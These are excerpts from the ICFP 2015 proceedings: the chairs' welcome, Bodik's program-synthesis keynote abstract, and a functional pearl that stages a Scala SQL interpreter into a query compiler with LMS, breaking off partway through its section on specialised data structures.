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Chairs’ Welcome

It is our great pleasure to welcome you to Vancouver for the 20th ACM SIGPLAN International

Conference on Functional Programming.

This year’s conference continues its tradition as a forum for researchers, developers, and students

to discuss the latest work on the design, implementation, principles, and use of functional program-

ming. The conference covers the entire spectrum of work on functional programming, from theory

to practice.

This year’s call for papers attracted 119 submissions: 103 regular research papers, 11 functional

pearls, and five experience reports. Out of these, the program committee accepted 35 papers, three

of which are functional pearls. In addition to these papers, the technical program includes two

invited keynotes by Ras Bodik and Mary Sheeran. We also mark the passing of Paul Hudak, who

was one of the founders of functional programming as a field. Paul was one of the original inventors

of Haskell and made many contributions, including seminal work on program analysis, parallel

functional programming, and functional reactive programming. He will be sorely missed.

Each submission was reviewed by three Program Committee members and, in many cases, additional

external reviewers. Initial reviews were communicated to the authors, who then had three days to

respond. Following updating of the reviews and, in several cases, addition of new reviews, the

entire PC met in Chicago for two days. There were six submissions by PC members, which were

evaluated to a higher standard once all other decisions had been made; two of the PC submissions

were accepted.

As usual, the main conference is complemented by a range of affiliated events as well as the ICFP

Programming Contest, whose results are announced during the conference. This year, ICFP comes

with 13 affiliated events covering a wide range of specialist topics, from functional art and music

to high-performance computing. Moreover, the tutorials, talks, and BoFs under the umbrella of

the Commercial Users of Functional Programming (CUFP) event focus on the application of func-

tional programming in modern software development and industrial practice. New this year is the

PLMW@ICFP mentoring workshop for advanced undergraduates and beginning graduate students

interested in pursuing research careers in functional programming, with a special focus on attracting

and retaining women and underrepresented minorities. The scholarship program for PLMW@ICFP

received 106 applicants; we were able to provide scholarships for 49 students. Also new is the Ally

Skills Workshop, a tutorial designed to help people-in-the-majority support people-in-the-minority

in their communities.

With the increasing popularity of functional programming, ICFP is steadily growing and its success

depends on an ever larger number of researchers, developers, and volunteers: the authors of research

papers who entrust their precious work to ICFP, the many reviewers who generously donate their

time, the participants in the programming competition, and the steadily growing list of organizers

and volunteers whose work enables ICFP. We would like to specifically acknowledge the hard work

of the program committee as well as the external reviewers. In addition, we acknowledge the ex-

cellent work of the local organizers, Ronald Garcia and his team as well as Annabel Satin; Anil

Madhavapeddy, who liaised with our industrial partners; Tom Schrijvers and Nicolas Wu for over-

seeing the organization of the workshops; Andrew Kennedy who organized the Student Research

Competition; David Van Horn for spreading the word about ICFP; Ronald Garcia and Stephanie

Weirich for bringing the Programming Language Mentoring Workshop to ICFP; Iavor Diatchki for
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managing the recording and posting of many of the talks at ICFP and associated workshops; Felipe

Bañados Schwerter and Gabriel Scherer for leading an army of student volunteers; and, last but not

least, Joe Kiniry for shouldering the challenging task of organizing the programming contest.

We are indebted to our partners who made it possible to keep registration cost reasonable and who

kindly supported students who would not have been able to attend the conference without financial

aid. Their generosity helps our community to grow and thrive.

We hope that you enjoy the conference and affiliated events, and benefit from the wide array of

technical work.

Kathleen Fisher

ICFP ’15 General Chair

Tufts University, USA

John Reppy

ICFP ’15 Program Chair

University of Chicago, USA
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Program Synthesis: Opportunities for the Next Decade

Rastislav Bodik
University of Washington, USA
bodik@cs.washington.edu

Abstract
Program synthesis is the contemporary answer to automatic pro-
gramming. It innovates in two ways: First, it replaces batch automa-
tion with interactivity, assisting the programmer in refining the un-
derstanding of the programming problem. Second, it produces pro-
grams using search in a candidate space rather than by derivation
from a specification. Searching for an acceptable program means
that we can accommodate incomplete specifications, such as exam-
ples. Additionally, search makes synthesis applicable to domains
that lack correct-by-construction derivation rules, such as hardware
design, education, end-user programming, and systems biology.

The future of synthesis rests on four challenges, each present-
ing an opportunity to develop novel abstractions for ”programming
with search.” Larger scope: today, we synthesize small, flat pro-
grams; synthesis of large software will need constructs for mod-
ularity and stepwise refinement. New interaction modes: to solicit

the specification without simply asking for more examples, we
need to impose a structure on the candidate space and explore it
in a dialogue. Construction: how to compile a synthesis problem
to a search algorithm without building a compiler? Everything is a
program: whatever can be phrased as a program can be in principle
synthesized. Indeed, we will see synthesis advance from synthesis
of plain programs to synthesis of compilers and languages. The
latter may include DSLs, type systems, and modeling languages for
biology. As such, synthesis could help mechanize the crown jewel
of programming languages research — the design of abstractions
— which has so far been done manually and only by experts.

Categories and Subject Descriptors: I.2.2 [Artificial Intelligence]
Automatic Programming
General Terms: Programming Languages
Keywords: Program Synthesis

Permission to make digital or hard copies of part or all of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
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Functional Pearl: A SQL to C Compiler in 500 Lines of Code

Tiark Rompf ∗ Nada Amin‡
∗Purdue University, USA: {first}@purdue.edu
‡EPFL, Switzerland: {first.last}@epfl.ch

Abstract
We present the design and implementation of a SQL query proces-
sor that outperforms existing database systems and is written in just
about 500 lines of Scala code – a convincing case study that high-
level functional programming can handily beat C for systems-level
programming where the last drop of performance matters.

The key enabler is a shift in perspective towards generative
programming. The core of the query engine is an interpreter for
relational algebra operations, written in Scala. Using the open-
source LMS Framework (Lightweight Modular Staging), we turn
this interpreter into a query compiler with very low effort. To
do so, we capitalize on an old and widely known result from
partial evaluation known as Futamura projections, which state that
a program that can specialize an interpreter to any given input
program is equivalent to a compiler.

In this pearl, we discuss LMS programming patterns such as
mixed-stage data structures (e.g. data records with static schema
and dynamic field components) and techniques to generate low-
level C code, including specialized data structures and data loading
primitives.

Categories and Subject Descriptors D.3.4 [Programming Lan-
guages]: Processors–Code Generation, Optimization, Compilers;
H.2.4 [Database Management]: Systems–Query Processing

Keywords SQL, Query Compilation, Staging, Generative Pro-
gramming, Futamura Projections

1. Introduction
Let’s assume we want to implement a serious, performance critical
piece of system software, like a database engine that processes SQL
queries. Would it be a good idea to pick a high-level language, and
a mostly functional style? Most people would answer something in
the range of “probably not” to “you gotta be kidding”: for systems
level programming, C remains the language of choice.

But let us do a quick experiment. We download a dataset from
the Google Books NGram Viewer project: a 1.7 GB file in CSV
format that contains book statistics of words starting with the letter

Permission to make digital or hard copies of all or part of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for components of this work owned by others than ACM
must be honored. Abstracting with credit is permitted. To copy otherwise, or republish,
to post on servers or to redistribute to lists, requires prior specific permission and/or a
fee. Request permissions from permissions@acm.org.
ICFP ’15, September 01–03, 2015, Vancouver, British Columbia, Canada.
Copyright c© 2015 ACM 978-1-4503-3669-7/15/09. . . $15.00.
http://dx.doi.org/10.1145/2784731.2784760

‘a’. As a first step to perform further data analysis, we load this file
into a database system, for example MySQL:

mysqlimport --local mydb 1gram_a.csv

When we run this command we can safely take a coffee break,
as the import will take a good five minutes on a decently modern
laptop. Once our data has loaded, and we have returned from the
break, we would like to run a simple SQL query, perhaps to find all
entries that match a given keyword:

select * from 1gram_a where phrase = ’Auswanderung’

Unfortunately, we will have to wait another 50 seconds for an
answer. While we’re waiting, we may start to look for alternative
ways to analyze our data file. We can write an AWK script to
process the CSV file directly, which will take 45 seconds to run.
Implementing the same query as a Scala program will get us to
13 seconds. If we are still not satisfied and rewrite it in C using
memory-mapped IO, we can get down to 3.2 seconds.

Of course, this comparison may not seem entirely fair. The
database system is generic. It can run many kinds of query, possibly
in parallel, and with transaction isolation. Hand-written queries run
faster but they are one-off, specialized solutions, unsuited to rapid
exploration. In fact, this gap between general-purpose systems and
specialized solutions has been noted many times in the database
community [20, 24], with prominent researchers arguing that “one
size fits all” is an idea whose time has come and gone [19]. While
specialization is clearly necessary for performance, wouldn’t it be
nice to have the best of both worlds: being able to write generic
high-level code while programmatically deriving the specialized,
low-level, code that is executed?

In this pearl, we show the following:

• Despite common database systems consisting of millions of
lines of code, the essence of a SQL engine is nice, clean and
elegantly expressed as a functional interpreter for relational
algebra – at the expense of performance compared to hand
written queries. We present the pieces step by step in Section 2.
• While the straightforward interpreted engine is rather slow, we

show how we can turn it into a query compiler that generates
fast code with very little modifications to the code. The key
technique is to stage the interpreter using LMS (Lightweight
Modular Staging [17]), which enables specializing the inter-
preter for any given query (Section 3).
• Implementing a fast database engine requires techniques be-

yond simple code generation. Efficient data structures are a key
concern, and we show how we can use staging to support spe-
cialized hash tables, efficient data layouts (e.g. column storage),
as well as specialized type representations and IO handling to
eliminate data copying (Section 4).
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on the first page. Copyrights for components of this work owned by others than ACM
must be honored. Abstracting with credit is permitted. To copy otherwise, or republish,
to post on servers or to redistribute to lists, requires prior specific permission and/or a
fee. Request permissions from Permissions@acm.org.
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1,09:00 AM,Erlang 101 - Actor and Multi-Core Programming,New York Central
2,09:00 AM,Program Synthesis Using miniKanren,Illinois Central
3,09:00 AM,Make a game from scratch in JavaScript,Frisco/Burlington
4,09:00 AM,Intro to Cryptol and High-Assurance Crypto Engineering,Missouri
5,09:00 AM,Working With Java Virtual Machine Bytecode,Jeffersonian
6,09:00 AM,Let’s build a shell!,Grand Ballroom E
7,12:00 PM,Golang Workshop,Illinois Central
8,12:00 PM,Getting Started with Elasticsearch,Frisco/Burlington
9,12:00 PM,Functional programming with Facebook React,Missouri
10,12:00 PM,Hands-on Arduino Workshop,Jeffersonian
11,12:00 PM,Intro to Modeling Worlds in Text with Inform 7,Grand Ballroom E
12,03:00 PM,Mode to Joy - Diving Deep Into Vim,Illinois Central
13,03:00 PM,Get ’go’ing with core.async,Frisco/Burlington
14,03:00 PM,What is a Reactive Architecture,Missouri
15,03:00 PM,Teaching Kids Programming with the Intentional Method,Jeffersonian
16,03:00 PM,Welcome to the wonderful world of Sound!,Grand Ballroom E

Figure 1. Input file talks.csv for running example.

The SQL engine presented here is decidedly simple. A more
complete engine, able to run the full TPCH benchmark and imple-
mented in about 3000 lines of Scala using essentially the same tech-
niques has won a best paper award at VLDB’14 [10]. This pearl is a
condensed version of a tutorial given at CUFP’14, and an attempt to
distill the essence of the VLDB work. The full code accompanying
this article is available online at:

scala-lms.github.io/tutorials/query.html

2. A SQL Interpreter, Step by Step
We start with a small data file for illustration purposes (see Fig-
ure 1). This file, talks.csv contains a list of talks from a recent
conference, with id, time, title of the talk, and room where it takes
place.

It is not hard to write a short program in Scala that processes
the file and computes a simple query result. As a running example,
we want to find all talks at 9am, and print out their room and title.
Here is the code:

printf("room,title")
val in = new Scanner("talks.csv")
in.next(’\n’)
while (in.hasNext) {
val tid = in.next(’,’)
val time = in.next(’,’)
val title = in.next(’,’)
val room = in.next(’\n’)
if (time == "09:00 AM")
printf("%s,%s\n",room,title)

}
in.close

We use a Scanner object from the standard library to tokenize the
file into individual data fields, and print out only the records and
fields we are interested in.

Running this little program produces the following result, just
as expected:

room,title
New York Central,Erlang 101 - Actor and Multi-Core Programming
Illinois Central,Program Synthesis Using miniKanren
Frisco/Burlington,Make a game from scratch in JavaScript
Missouri,Intro to Cryptol and High-Assurance Crypto Engineering
Jeffersonian,Working With Java Virtual Machine Bytecode
Grand Ballroom E,Let’s build a shell!

While it is relatively easy to implement very simple queries
in such a way, and the resulting program will run very fast, the
complexity gets out of hand very quickly. So let us go ahead and
add some abstractions to make the code more general.

The first thing we add is a class to encapsulate data records:
case class Record(fields: Fields, schema: Schema) {
def apply(name: String) = fields(schema indexOf name)
def apply(names: Schema) = names map (apply _)

}

And some auxiliary type definitions:
type Fields = Vector[String]
type Schema = Vector[String]

Each records contains a list of field values and a schema, a list of
field names. With that, it provides a method to look up field values,
given a field name, and another version of this method that return
a list of values, given a list of names. This will make our code
independent of the order of fields in the file. Another thing that is
bothersome about the initial code is that I/O boilerplate such as the
scanner logic is intermingled with the actual data processing. To fix
this, we introduce a method processCSV that encapsulates the input
handling:
def processCSV(file: String)(yld: Record => Unit): Unit = {
val in = new Scanner(file)
val schema = in.next(’\n’).split(",").toVector
while (in.hasNext) {
val fields = schema.map(n=>in.next(if(n==schema.last)’\n’else’,’))
yld(Record(fields, schema))

}
}

This method fully abstracts over all file handling and tokenization.
It takes a file name as input, along with a callback that it invokes
for each line in the file with a freshly created record object. The
schema is read from the first line of the file.

With these abstractions in place, we can express our data pro-
cessing logic in a much nicer way:
printf("room,title")
processCSV("talks.csv") { rec =>
if (rec("time") == "09:00 AM")
printf("%s,%s\n",rec("room"),rec("title"))

}

The output will be exactly the same as before.

Parsing SQL Queries While the programming experience has
much improved, the query logic is still essentially hardcoded. What
if we want to implement a system that can itself answer queries
from the outside world, say, respond to SQL queries it receives over
a network connection?

We will build a SQL interpreter on top of the existing abstrac-
tions next. But first we need to understand what SQL queries mean.
We follow the standard approach in database systems of translating
SQL statements to an internal query execution plan representation–
a tree of relational algebra operators. The Operator data type is de-
fined in Figure 2, and we will implement a function parseSql that
produces instances of that type.

Here are a few examples. For a query that returns its whole
input, we get a single table scan operator:
parseSql("select * from talks.csv")
↪→ Scan("talks.csv")

If we select specific fields, with possible renaming, we obtain a
projection operator with the table scan as parent:
parseSql("select room as where, title as what from talks.csv")
↪→ Project(Vector("where","what"),Vector("room","title"),

Scan("talks.csv"))

And if we add a condition, we obtain an additional filter operator:
parseSql("select room, title from talks.csv where time=’09:00 AM’")
↪→ Project(Vector("room","title"),Vector("room","title"),

Filter(Eq(Field("time"),Value("09:00 AM")),
Scan("talks.csv")))
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// relational algebra ops
sealed abstract class Operator
case class Scan(name: Table) extends Operator
case class Print(parent: Operator) extends Operator
case class Project(out: Schema, in: Schema, parent: Operator) extends Operator
case class Filter(pred: Predicate, parent: Operator) extends Operator
case class Join(parent1: Operator, parent2: Operator) extends Operator
case class HashJoin(parent1: Operator, parent2: Operator) extends Operator
case class Group(keys: Schema, agg: Schema, parent: Operator) extends Operator

// filter predicates
sealed abstract class Predicate
case class Eq(a: Ref, b: Ref) extends Predicate
case class Ne(a: Ref, b: Ref) extends Predicate

sealed abstract class Ref
case class Field(name: String) extends Ref
case class Value(x: Any) extends Ref

Figure 2. Query plan language (relational algebra operators)

def stm: Parser[Operator] =
selectClause ~ fromClause ~ whereClause ~ groupClause ^^ {
case p ~ s ~ f ~ g => g(p(f(s))) }

def selectClause: Parser[Operator=>Operator] =
"select" ~> ("*" ^^^ idOp | fieldList ^^ {
case (fs,fs1) => Project(fs,fs1,_:Operator) })

def fromClause: Parser[Operator] =
"from" ~> joinClause

def whereClause: Parser[Operator=>Operator] =
opt("where" ~> predicate ^^ { p => Filter(p, _:Operator) })

def joinClause: Parser[Operator] =
repsep(tableClause, "join") ^^ { _.reduce((a,b) => Join(a,b)) }

def tableClause: Parser[Operator] =
tableIdent ^^ { case table => Scan(table, schema, delim) } |
("(" ~> stm <~ ")")

// 30 lines elided

Figure 3. Combinator parsers for SQL grammar

Finally, we can use joins, aggregations (groupBy) and nested
queries. Here is a more complex query that finds all different talks
that happen at the same time in the same room (hopefully there are
none!):

parseSql("select *
from (select time, room, title as title1 from talks.csv)
join (select time, room, title as title2 from talks.csv)
where title1 <> title2")

↪→ Filter(Ne(Field("title1"),Field("title2")),
Join(
Project(Vector("time","room","title1"),Vector(...),
Scan("talks.csv")),

Project(Vector("time","room","title2"),Vector(...),
Scan("talks.csv")))

In good functional programming style, we use Scala’s combi-
nator parser library to define our SQL parser. The details are not
overly illuminating, but we show an excerpt in Figure 3. While the
code may look dense on first glance, it is rather straightforward
when read top to bottom. The important bit is that the result of
parsing a SQL query is an Operator object, which we will focus on
next.

Interpreting Relational Algebra Operators Given that the result
of parsing a SQL statement is a query execution plan, we need to
specify how to turn such a plan into actual query execution. The
classical database model would be to define a stateful iterator in-
terface with open, next, and close functions for each type of oper-
ator (also known as volcano model [7]). In contrast to this tradi-
tional pull-driven execution model, recent database work proposes
a push-driven model to reduce indirection [13].

Working in a functional language, and coming from a back-
ground informed by PL theory, a push model is a more natural fit
from the start: we would like to give a compositional account of
what an operator does, and it is easy to describe the semantics of
each operator in terms of what records it pushes to its caller. This
means that we can define a semantic domain as type

type Semant = (Record => Unit) => Unit

with the idea that the argument is a callback that is invoked for each
emitted record. With that, we describe the meaning of each operator
through a function execOp with the following signature:

def execOp: Operator => Semant

Even without these considerations, we might pick the push-
mode of implementation for completely pragmatic reasons: the ex-
ecutable code corresponds almost directly to a textbook definition
of the query operators, and it would be hard to imagine an im-
plementation that is clearer or more concise. The following code
might therefore serve as a definitional interpreter in the spirit of
Reynolds [14]:

def execOp(o: Operator)(yld: Record => Unit): Unit = o match {
case Scan(filename) =>
processCSV(filename)(yld)

case Print(parent) =>
execOp(parent) { rec =>
printFields(rec.fields) }

case Filter(pred, parent) =>
execOp(parent) { rec =>
if (evalPred(pred)(rec)) yld(rec) }

case Project(newSchema, parentSchema, parent) =>
execOp(parent) { rec =>
yld(Record(rec(parentSchema), newSchema)) }

case Join(left, right) =>
execOp(left) { rec1 =>
execOp(right) { rec2 =>
val keys = rec1.schema intersect rec2.schema
if (rec1(keys) == rec2(keys))
yld(Record(rec1.fields ++ rec2.fields,

rec1.schema ++ rec2.schema)) }}

}

So what does each operator do? A table scan just means that we
are reading an input file through our previously defined processCSV
method. A print operator prints all the fields of every record that
its parent emits. A filter operator evaluates the predicate, for each
record its parents produces, and if the predicate holds it passes the
record on to its own caller. A projection rearranges the fields in a
record before passing it on. A join, finally, matches every single
record it receives from the left against all records from the right,
and if the fields with a common name also agree on the values, it
emits a combined record. Of course this is not the most efficient
way to implement a join, and adding an efficient hash join operator
is straightforward. The same holds for the group-by operator, which
we have omitted so far. We will come back to this in Section 4.

To complete this section, we show the auxiliary functions used
by execOp:

def evalRef(p: Ref)(rec: Record) = p match {
case Value(a: String) => a
case Field(name) => rec(name)

}

def evalPred(p: Predicate)(rec: Record) = p match {
case Eq(a,b) => evalRef(a)(rec) == evalRef(b)(rec)
case Ne(a,b) => evalRef(a)(rec) != evalRef(b)(rec)

}

def printFields(fields: Fields) =
printf(fields.map(_ => "%s").mkString("",",","\n"), fields: _*)
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Finally, to put everything together, we provide a main object that
integrates parsing and execution, and that can be used to run queries
against CSV files from the command line:

object Engine {
def main(args: Array[String]) {
if (args.length != 1)
return println("usage: engine <sql>")

val ops = parseSql(args(0))
execOp(Print(ops)) { _ => }

}
}

With the code in this section, which is about 100 lines combined,
we have a fully functional query engine that can execute a practi-
cally relevant subset of SQL.

But what about performance? We can run the Google Books
query on the 1.7 GB data file from Section 1 for comparison, and
the engine we have built will take about 45 seconds. This is about
the same as an AWK script, which is also an interpreted language.
Compared to our starting point, handwritten scripts that ran in 10s,
the interpretive overhead we have added is clearly visible.

3. From Interpreter to Compiler
We will now show how we can turn our rather slow query inter-
preter into a query compiler that produces Scala or C code that is
practically identical to the handwritten queries that were the start-
ing point of our development in Section 2.

Futamura Projections The key idea behind our approach goes
back to early work on partial evaluation in the 1970’ies, namely
the notion of Futamura Projections [6]. The setting is to consider
programs with two inputs, one designated as static and one as
dynamic. A program specializer or partial evaluator mix is then able
to specialize a program p with respect to a given static input. The
key use case is if the program is an interpreter:

result = interpreter(source, input)

Then specializing the interpreter with respect to the source pro-
gram yields a program that performs the same computation on the
dynamic input, but faster:

target = mix(interpreter, source)
result = target(input)

This application of a specialization process to an interpreter is
called the first Futamura projection. In total there are three of them:

target = mix(interpreter, source) (1)
compiler = mix(mix, interpreter) (2)
cogen = mix(mix, mix) (3)

The second one says that if we can automate the process of special-
izing an interpreter to any static input, we obtain a program equiva-
lent to a compiler. Finally the third projection says that specializing
a specializer with respect to itself yields a system that can generate
a compiler from any interpreter given as input [3].

In our case, we do not rely on a fully automatic program special-
izer, but we delegate some work to the programmer to change our
query interpreter into a program that specializes itself by treating
queries as static data and data files as dynamic input. In particular,
we use the following variant of the first Futamura projection:

target = staged-interpreter(source)

Here, staged-interpreter is a version of the interpreter that has
been annotated by the programmer. This idea was also used in
bootstrapping the first implementation of the Futamura projections

by Neil Jones and others in Copenhagen [8]. The role of the pro-
grammer can be understood as being part of the mix system, but we
will see that the job of converting a straightforward interpreter into
a staged interpreter is relatively easy.

Lightweight Modular Staging Staging or multi-stage program-
ming describes the idea of making different computation stages
explicit in a program, where the present stage program generates
code to run in a future stage. The concept goes back at least to
Jørring and Scherlis [9], who observed that many programs can be
separated into stages, distinguished by frequency of execution or
by availability of data. Taha and Sheard [22] introduced the lan-
guage MetaML and made the case for making such stages explicit
in the programming model through the use of quotation operators,
as known from LISP and Scheme macros.

Lightweight modular staging (LMS) [17] is a staging technique
based on types: instead of syntactic quotations, we use the Scala
type system to designate future stage expressions. Where any regu-
lar Scala expression of type Int, String, or in general T is executed
normally, we introduce a special type constructor Rep[T] with the
property that all operations on Rep[Int], Rep[String], or Rep[T] ob-
jects will generate code to perform the operation later.

Here is a simple example of using LMS:

val driver = new LMS_Driver[Int,Int] {

def power(b: Rep[Int], x: Int): Rep[Int] =
if (x == 0) 1 else b * power(b, x - 1)

def snippet(x: Rep[Int]): Rep[Int] = {
power(x,4)

}
}
driver(3)
↪→ 81

We create a new LMS_Driver object. Inside its scope, we can use
Rep types and corresponding operations. Method snippet is the
‘main’ method of this object. The driver will execute snippetwith a
symbolic input. This will completely evaluate the recursive power
invocations (since it is a present-stage function) and record the
individual expression in the IR as they are encountered. On exit
of snippet, the driver will compile the generated source code and
load it as executable into the running program. Here, the generated
code corresponds to:

class Anon12 extends ((Int)=>(Int)) {
def apply(x0:Int): Int = {
val x1 = x0*x0
val x2 = x0*x1
val x3 = x0*x2
x3

}
}

The performed specializations are immediately clear from the
types: in the definition of power, only the base b is dynamic (type
Rep[Int]), everything else will be evaluated statically, at code gen-
eration time. The expression driver(3) will then execute the gener-
ate code, and return the result 81.

Some LMS Internals While not strictly needed to understand the
rest of this paper, it is useful to familiarize oneself with some of the
internals.

LMS is called lightweight because it is implemented as a li-
brary instead of baked-in into a language, and it is called modular
because there is complete freedom to define the available opera-
tions on Rep[T] values. To user code, LMS provides just an abstract
interface that lifts (selected) functionality of types T to Rep[T]:
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trait Base {
type Rep[T]

}
trait IntOps extends Base {
implicit def unit(x: Int): Rep[Int]
def infix_+(x: Rep[Int], y: Rep[Int]): Rep[Int]
def infix_*(x: Rep[Int], y: Rep[Int]): Rep[Int]

}

Internally, this API is wired to create an intermediate represen-
tation (IR) which can be further transformed and finally unparsed
to target code:

trait BaseExp {
// IR base classes: Exp[T], Def[T]
type Rep[T] = Exp[T]
def reflectPure[T](x:Def[T]): Exp[T] = .. // insert x into IR graph

}
trait IntOpsExp extends BaseExp {
case class Plus(x: Exp[Int], y: Exp[Int]) extends Def[Int]
case class Times(x: Exp[Int], y: Exp[Int]) extends Def[Int]
implicit def unit(x: Int): Rep[Int] = Const(x)
def infix_+(x: Rep[Int], y: Rep[Int]) = reflectPure(Plus(x,y))
def infix_*(x: Rep[Int], y: Rep[Int]) = reflectPure(Times(x,y))

}

Another way to look at this structure is as combining a shallow and
a deep embedding for an IR object language [21]. Methods like
infix_+ can serve as smart constructors that perform optimizations
on the fly while building the IR [18]. With some tweaks to the
Scala compiler (or alternatively using Scala macros) we can extend
this approach to lift language built-ins like conditionals or variable
assignments into the IR, by redefining them as method calls [15].

Mixed-Stage Data Structures We have seen above that LMS
can be used to unfold functions and generate specialized code
based on static values. One key design pattern that will drive the
specialization of our query engine is the notion of mixed-stage data
structures, which have both static and dynamic components.

Looking again at our earlier Record abstraction:

case class Record(fields: Vector[String], schema: Vector[String]) {
def apply(name: String): String = fields(schema indexOf name)

}

We would like to treat the schema as static data, and treat only the
field values as dynamic. The field values are read from the input and
vary per row, whereas the schema is fixed per file and per query. We
thus go ahead and change the definition of Records like this:

case class Record(fields: Vector[Rep[String]], schema: Vector[String]) {
def apply(name: String): Rep[String] = fields(schema indexOf name)

}

Now the individual fields have type Rep[String] instead of String
which means that all operations that touch any of the fields will
need to become dynamic as well. On the other hand, all computa-
tions that only touch the schema will be computed at code genera-
tion time. Moreover, Record objects are static as well. This means
that the generated code will manipulate the field values as individ-
ual local variables, instead of through a record indirection. This is a
strong guarantee: records cannot exist in the generated code, unless
we provide an API for Rep[Record] objects.

Staged Interpreter As it turns out, this simple change to the
definition of records is the only significant one we need to make
to obtain a query compiler from our previous interpreter. All other
modifications follow by fixing the type errors that arise from this
change. We show the full code again in Figure 4. Note that we are
now using a staged version of the Scanner implementation, which
needs to be provided as an LMS module.

val driver = new LMS_Driver[Unit,Unit] {
type Fields = Vector[Rep[String]]
type Schema = Vector[String]

case class Record(fields: Fields, schema: Schema) {
def apply(name: String): Rep[String] = fields(schema indexOf name)
def apply(names: Schema): Fields = names map (this apply _)

}

def processCSV(file: String)(yld: Record => Unit): Unit = {
val in = new Scanner(file)
val schema = in.next(’\n’).split(",").toVector
while (in.hasNext) {
val fields = schema.map(n=>in.next(if(n==schema.last)’\n’else’,’))
yld(Record(fields, schema))

}
}

def evalRef(p: Ref)(rec: Record): Rep[String] = p match {
case Value(a: String) => a
case Field(name) => rec(name)

}

def evalPred(p: Predicate)(rec: Record): Rep[Boolean] = p match {
case Eq(a,b) => evalRef(a)(rec) == evalRef(b)(rec)
case Ne(a,b) => evalRef(a)(rec) != evalRef(b)(rec)

}

def execOp(o: Operator)(yld: Record => Unit): Unit = o match {
case Scan(filename) =>
processCSV(filename)(yld)

case Print(parent) =>
execOp(parent) { rec =>
printFields(rec.fields) }

case Filter(pred, parent) =>
execOp(parent) { rec =>
if (evalPred(pred)(rec)) yld(rec) }

case Project(newSchema, parentSchema, parent) =>
execOp(parent) { rec =>
yld(Record(rec(parentSchema), newSchema)) }

case Join(left, right) =>
execOp(left) { rec1 =>
execOp(right) { rec2 =>
val keys = rec1.schema intersect rec2.schema
if (rec1(keys) == rec2(keys))
yld(Record(rec1.fields ++ rec2.fields, rec1.schema ++ rec2.schema)) }}

}

def printFields(fields: Fields) =
printf(fields.map(_ => "%s").mkString("",",","\n"), fields: _*)

def snippet(x: Rep[Unit]): Rep[Unit] = {
val ops = parseSql("select room,title from talks.csv where time = ’09:00 AM’")
execOp(PrintCSV(ops)) { _ => }

}
}

Figure 4. Staged query interpreter = compiler. Changes are under-
lined.

.

Results Let us compare the generated code to the one that was
our starting point in Section 2. Our example query was:

select room, title from talks.csv where time = ’09:00 AM’

And here is the handwritten code again:

printf("room,title")
val in = new Scanner("talks.csv")
in.next(’\n’)
while (in.hasNext) {
val tid = in.next(’,’)
val time = in.next(’,’)
val title = in.next(’,’)
val room = in.next(’\n’)
if (time == "09:00 AM")
printf("%s,%s\n",room,title)

}
in.close
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The generated code from the compiling engine is this:

val x1 = new scala.lms.tutorial.Scanner("talks.csv")
val x2 = x1.next(’\n’)
val x14 = while ({
val x3 = x1.hasNext
x3

}) {
val x5 = x1.next(’,’)
val x6 = x1.next(’,’)
val x7 = x1.next(’,’)
val x8 = x1.next(’\n’)
val x9 = x6 == "09:00 AM"
val x12 = if (x9) {
val x10 = printf("%s,%s\n",x8,x7)

} else {
}
x1.close

}

So, modulo syntactic differences, we have generated exactly the
same code! And, of course, this code will run just as fast. Looking
again at the Google Books query, where the interpreted engine
tooks 45s to run the query, we are down again to 10s but this time
without giving up on generality!

4. Beyond Simple Compilation
While we have seen impressive speedups just through compilation
of queries, let us recall from Section 1 that we can still go faster.
By writing our query by hand in C instead of Scala we were able to
run it in 3s instead of 10s. The technique there was to use the mmap
system call to map the input file into memory, so that we could treat
it as a simple array instead of copying data from read buffers into
string objects.

We have also not yet looked at efficient join algorithms that
require auxiliary data structures, and in this section we will show
how we can leverage generative techniques for this purpose as well.

Hash Joins We consider extending our query engine with hash
joins and aggregates first. The required additions to execOp are
straightforward:

def execOp(o: Operator)(yld: Record => Unit): Unit = o match {
// ... pre-existing operators elided
case Group(keys, agg, parent) =>
val hm = new HashMapAgg(keys, agg)
execOp(parent) { rec =>
hm(rec(keys)) += rec(agg)

}
hm foreach { (k,a) =>
yld(Record(k ++ a, keys ++ agg))

}
case HashJoin(left, right) =>
val keys = resultSchema(left) intersect resultSchema(right)
val hm = new HashMapBuffer(keys, resultSchema(left))
execOp(left) { rec1 =>
hm(rec1(keys)) += rec1.fields

}
execOp(right) { rec2 =>
hm(rec2(keys)) foreach { rec1 =>
yld(Record(rec1.fields ++ rec2.fields,

rec1.schema ++ rec2.schema))
}

}
}

An aggregation will collect all records from the parent operator into
buckets, and accumulate sums in a hash table. Once all records are
processed, all key-value pairs from the hash map will be emitted as
records. A hash join will insert all records from the left parent into
a hash map, indexed by the join key. Afterwards, all the records
from the right will be used to lookup matching left records from
the hash table, and the operator will pass combined records on to

its callback. This approach is much more efficient for larger data
sets than the naive nested loops join from Section 2.

Data Structure Specialization What are the implementations
of hash tables that we are using here? We could have opted
to just use lifted versions of the regular Scala hash tables, i.e.
Rep[HashMap[K,V]] objects. However, these are not the most effi-
cient for our case, since they have to support a very generic pro-
gramming interface. Morever, recall our staged Record definition:

case class Record(fields: Vector[Rep[String]], schema: Vector[String]) {
def apply(name: String): Rep[String] = fields(schema indexOf name)

}

A key design choice was to treat records as a purely staging-
time abstraction. If we were to use Rep[HashMap[K,V]] objects,
we would have to use Rep[Record] objects as well, or at least
Rep[Vector[String]]. The choice of using Vector[Rep[String]]
means that all field values will be mapped to individual entities
in the generated code. This property naturally leads to a design for
data structures in column-oriented instead of row-oriented order.
Instead of working with:

Collection[ { Field1, Field2, Field3 } ]

We work with:

{ Collection[Field1], Collection[Field2], Collection[Field3] }

This layout has other important benefits, for example in terms
of memory bandwidth utilization and is becoming increasingly
popular in contemporary in-memory database systems.

Usually, programming in a columnar style is more cumbersome
than in a record oriented manner. But fortunately, we can com-
pletely hide the column oriented nature of our internal data struc-
tures behind a high-level record oriented interface. Let us go ahead
and implement a growable ArrayBuffer, which will serve as the ba-
sis for our HashMaps:

abstract class ColBuffer
case class IntColBuffer(data: Rep[Array[Int]]) extends ColBuffer
case class StringColBuffer(data: Rep[Array[String]],

len: Rep[Array[Int]]) extends ColBuffer

class ArrayBuffer(dataSize: Int, schema: Schema) {
val buf = schema.map {
case hd if isNumericCol(hd) =>
IntColBuffer(NewArray[Int](dataSize))

case _ =>
StringColBuffer(NewArray[String](dataSize),

NewArray[Int](dataSize))
}
var len = 0
def +=(x: Fields) = {
this(len) = x
len += 1

}
